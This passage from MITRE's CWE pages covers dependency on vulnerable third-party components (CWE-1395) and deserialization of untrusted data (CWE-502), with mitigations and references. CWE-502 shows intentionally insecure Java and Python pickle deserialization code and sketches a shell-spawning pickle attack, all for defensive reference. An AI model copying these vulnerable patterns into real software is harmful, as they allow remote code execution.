(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2020-02-24 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Applicable_Platforms
2008-09-24 CWE Content Team MITRE
Removed C from Applicable_Platforms
2008-09-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Overly-Broad Throws Declaration
Back to top

CWE-1395: Dependency on Vulnerable Third-Party Component

Weakness ID: 1395
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a dependency on a third-party component that contains one or more known vulnerabilities.
+ Extended Description

Many products are large enough or complex enough that part of their functionality uses libraries, modules, or other intellectual property developed by third parties who are not the product creator. For example, even an entire operating system might be from a third-party supplier in some hardware products. Whether open or closed source, these components may contain publicly known vulnerabilities that could be exploited by adversaries to compromise the product.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context

Scope: Confidentiality, Integrity, Availability

The consequences vary widely, depending on the vulnerabilities that exist in the component; how those vulnerabilities can be "reached" by adversaries, as the exploitation paths and attack surface will vary depending on how the component is used; and the criticality of the privilege levels and features for which the product relies on the component.
+ Potential Mitigations
Phase(s) Mitigation

Requirements; Policy
In some industries such as healthcare [REF-1320] [REF-1322] or technologies such as the cloud [REF-1321], it might be unclear about who is responsible for applying patches for third-party vulnerabilities: the vendor, the operator/customer, or a separate service. Clarifying roles and responsibilities can be important to minimize confusion or unnecessary delay when third-party vulnerabilities are disclosed.

Requirements
Require a Bill of Materials for all components and sub-components of the product. For software, require a Software Bill of Materials (SBOM) [REF-1247] [REF-1311].

Architecture and Design; Implementation; Integration; Manufacturing
Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."

Operation; Patching and Maintenance
Actively monitor when a third-party component vendor announces vulnerability patches; fix the third-party component as soon as possible; and make it easy for operators/customers to obtain and apply the patch.

Operation; Patching and Maintenance
Continuously monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, etc.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 657 Violation of Secure Design Principles
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design The product architect or designer might choose a component that is already known to contain vulnerabilities or has a high likelihood of containing vulnerabilities in the future.
Implementation For reasons of compatibility or stability, developers might choose a third-party component, such as a library, that is already known to contain vulnerabilities.
Patching and Maintenance Since all products contain vulnerabilities, over time, a third-party component will be discovered to have a vulnerability.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]



Example 2


log4j, a Java-based logging framework, is used in a large number of products, with estimates in the range of 3 billion affected devices [REF-1317]. When the "log4shell" (CVE-2021-44228) vulnerability was initially announced, it was actively exploited for remote code execution, requiring urgent mitigation in many organizations. However, it was unclear how many products were affected, as Log4j would sometimes be part of a long sequence of transitive dependencies. [REF-1316]



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
product uses a vulnerable version of an authentication framework, allowing authentication bypass
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Analysis
For software, use Software Composition Analysis (SCA) tools, which automatically analyze products to identify third-party dependencies. Often, SCA tools can be used to link with known vulnerabilities in the dependencies that they detect. There are commercial and open-source alternatives, such as OWASP Dependency-Check [REF-1312]. Many languages or frameworks have package managers with similar capabilities, such as npm audit for JavaScript, pip-audit for Python, govulncheck for Go, and many others. Dynamic methods can detect loading of third-party components.

Effectiveness: High

Note:Software Composition Analysis (SCA) tools face a number of technical challenges that can lead to false positives and false negatives. Dynamic methods have other technical challenges.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1438 OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reasons Abstraction, Other

Rationale

This CWE entry is a Class, but it does not have Base-level children.

Comments

This entry is classified in a part of CWE's hierarchy that does not have sufficiently low-level coverage, which might reflect a lack of classification-oriented weakness research in the software security community. Conduct careful root cause analysis to determine the original mistake that led to this weakness. If closer analysis reveals that this weakness is appropriate, then this might be the best available CWE to use for mapping. If no other option is available, then it is acceptable to map to this CWE.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 4-2 Req CR 2.4
ISA/IEC 62443 Part 4-2 Req CR 6.2
ISA/IEC 62443 Part 4-2 Req CR 7.2
ISA/IEC 62443 Part 4-1 Req SM-9
ISA/IEC 62443 Part 4-1 Req SM-10
ISA/IEC 62443 Part 4-1 Req SR-2
ISA/IEC 62443 Part 4-1 Req DM-1
ISA/IEC 62443 Part 4-1 Req DM-3
ISA/IEC 62443 Part 4-1 Req DM-4
ISA/IEC 62443 Part 4-1 Req SVV-1
ISA/IEC 62443 Part 4-1 Req SVV-3
+ References
[REF-1313] Jeff Williams, Arshan Dabirsiaghi. "The Unfortunate Reality of Insecure Libraries". 2014.
<https://owasp.org/www-project-dependency-check/>. (URL validated: 2023-01-25)
[REF-1212] "A06:2021 - Vulnerable and Outdated Components". OWASP. 2021-09-24.
<https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/>.
[REF-1247] NTIA Multistakeholder Process on Software Component Transparency Framing Working Group. "Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)". 2021-10-21.
<https://www.ntia.gov/files/ntia/publications/ntia_sbom_framing_2nd_edition_20211021.pdf>.
[REF-1311] Amélie Koran, Wendy Nather, Stewart Scott, Sara Ann Brackett. "The Cases for Using the SBOMs We Build". 2022-11.
<https://www.atlanticcouncil.org/wp-content/uploads/2022/11/AC_SBOM_IB_v2-002.pdf>. (URL validated: 2023-01-25)
[REF-1312] OWASP. "OWASP Dependency-Check".
<https://owasp.org/www-project-dependency-check/>. (URL validated: 2023-01-25)
[REF-1314] ICS-CERT. "ICS Alert (ICS-ALERT-20-063-01): SweynTooth Vulnerabilities". 2020-03-04.
<https://www.cisa.gov/news-events/ics-alerts/ics-alert-20-063-01>. (URL validated: 2023-04-07)
[REF-1315] Matheus E. Garbelini, Sudipta Chattopadhyay, Chundong Wang, Singapore University of Technology and Design. "Unleashing Mayhem over Bluetooth Low Energy". 2020-03-04.
<https://asset-group.github.io/disclosures/sweyntooth/>. (URL validated: 2023-01-25)
[REF-1316] CISA. "Alert (AA21-356A): Mitigating Log4Shell and Other Log4j-Related Vulnerabilities". 2021-12-22.
<https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a>. (URL validated: 2023-04-07)
[REF-1317] Daniel Thomas. "What Log4Shell taught us about application security, and how to respond now". SC Media. 2022-07-05.
<https://www.scworld.com/resource/what-log4shell-taught-us-about-appsec-and-how-to-respond>. (URL validated: 2025-08-04)
[REF-1320] Ali Youssef. "A Framework for a Medical Device Security Program at a Healthcare Delivery Organization". 2022-08-08.
<https://array.aami.org/content/news/framework-medical-device-security-program-healthcare-delivery-organization>. (URL validated: 2025-07-29)
[REF-1321] Cloud Security Alliance. "Shared Responsibility Model Explained". 2020-08-26.
<https://cloudsecurityalliance.org/blog/2020/08/26/shared-responsibility-model-explained/>. (URL validated: 2023-01-28)
[REF-1322] Melissa Chase, Steven Christey Coley, Julie Connolly, Ronnie Daldos, Margie Zuk. "Medical Device Cybersecurity Regional Incident Preparedness and Response Playbook". Section 6.1: Medical Device Procurement. 2022-11-14.
<https://www.mitre.org/news-insights/publication/medical-device-cybersecurity-regional-incident-preparedness-and-response>. (URL validated: 2023-01-28)
+ Content History
+ Submissions
Submission Date Submitter Organization
2023-01-25
(CWE 4.10, 2023-01-31) 		CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2022-04-18 Samreen Arshad Balochistan University of Information Technology, Engineering and Management Sciences
Submitted a request for coverage of "Vulnerable and Outdated Components"
2023-06-29
(CWE 4.12, 2023-06-29) 		"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Observed_Examples, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated References
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated References, Relationships
Back to top

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Diagram for CWE-502
+ Alternate Terms
Marshaling, Unmarshaling
Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.
Pickling, Unpickling
In Python, the "pickle" functionality is used to perform serialization and deserialization.
PHP Object Injection
Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Application Data; Unexpected State

Scope: Integrity

Attackers can modify unexpected objects or data that was assumed to be safe from modification. Deserialized data or code could be modified without using the provided accessor functions, or unexpected functions could be invoked.

DoS: Resource Consumption (CPU)

Scope: Availability

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

Varies by Context

Scope: Other

The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation. One example is attackers using gadget chains to perform unauthorized actions, such as generating a shell.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Implementation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Implementation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Implementation
Explicitly define a final object() to prevent deserialization.

Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Implementation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Architecture and Design; Implementation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 913 Improper Control of Dynamically-Managed Code Resources
PeerOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 399 Resource Management Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 913 Improper Control of Dynamically-Managed Code Resources
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1019 Validate Inputs
+ Background Details
Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Java (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

AI/ML (Often Prevalent)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This code snippet deserializes an object from a file and uses it as a UI button:

(bad code)
Example Language: Java 
try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();
}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

(good code)
Example Language: Java 
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }


Example 2


In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

(bad code)
Example Language: Python 
try {
class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthFail
self.secure_data = token['data']
except:
raise AuthFail
}

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
insecure deserialization in platform for managing AI/ML applications and models allows code execution via a crafted pickled object in a model file
deserialization of untrusted YAML data in dashboard for data query and visualization of Elasticsearch data
PHP object injection in WordPress plugin for AI-based SEO
chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)
Deserialization issue in commonly-used Java library allows remote execution.
Deserialization issue in commonly-used Java library allows remote execution.
Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
Use of PHP unserialize function on untrusted input in content management system might allow code execution.
Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
Python script allows local users to execute code via pickled data.
Unsafe deserialization using pickle in a Python script.
Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 858 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 994 SFP Secondary Cluster: Tainted Input to Variable
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1034 OWASP Top Ten 2017 Category A8 - Insecure Deserialization
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1148 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1200 Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1308 CISQ Quality Measures - Security
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1340 CISQ Data Protection Measures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1354 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1415 Comprehensive Categorization: Resource Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1435 Weaknesses in the 2025 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1443 OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011) SER01-J Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011) SER03-J Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011) SER06-J Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011) SER08-J Do not use the default serialized form for implementation defined invariants
Software Fault Patterns SFP25 Tainted input to variable
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-461] Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28.
<https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>. (URL validated: 2023-04-07)
[REF-462] Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27.
<https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>. (URL validated: 2023-04-07)
[REF-463] Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28.
<https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>. (URL validated: 2023-04-07)
[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25.
<https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea>. (URL validated: 2023-04-07)
[REF-465] Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26.
<https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>. (URL validated: 2023-04-07)
[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09.
<http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html>. (URL validated: 2023-04-07)
[REF-467] Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011-03-20.
<https://blog.nelhage.com/2011/03/exploiting-pickle/>.
[REF-468] Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016-03-21.
<https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization>. (URL validated: 2023-04-07)
[REF-1481] D3FEND. "D3FEND: Application Layer Firewall".
<https://d3fend.mitre.org/dao/artifact/d3f:ApplicationLayerFirewall/>. (URL validated: 2025-09-06)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Contributions
Contribution Date Contributor Organization
2024-02-29
(CWE 4.16, 2024-11-19) 		Abhi Balakrishnan
Contributed usability diagram concepts used by the CWE team
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Observed_Examples, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Observed_Examples, Potential_Mitigations, References
2024-11-19
(CWE 4.16, 2024-11-19) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Potential_Mitigations, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Description
2022-10-13 CWE Content Team MITRE
updated Applicable_Platforms
2022-06-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Alternate_Terms, Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Observed_Examples, References, Relationships
2019-09-19 CWE Content Team MITRE
updated Relationships
2019-06-20 CWE Content Team MITRE
updated Type
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2017-05-03 CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2015-12-07 CWE Content Team MITRE
updated Observed_Examples, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2013-02-21 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
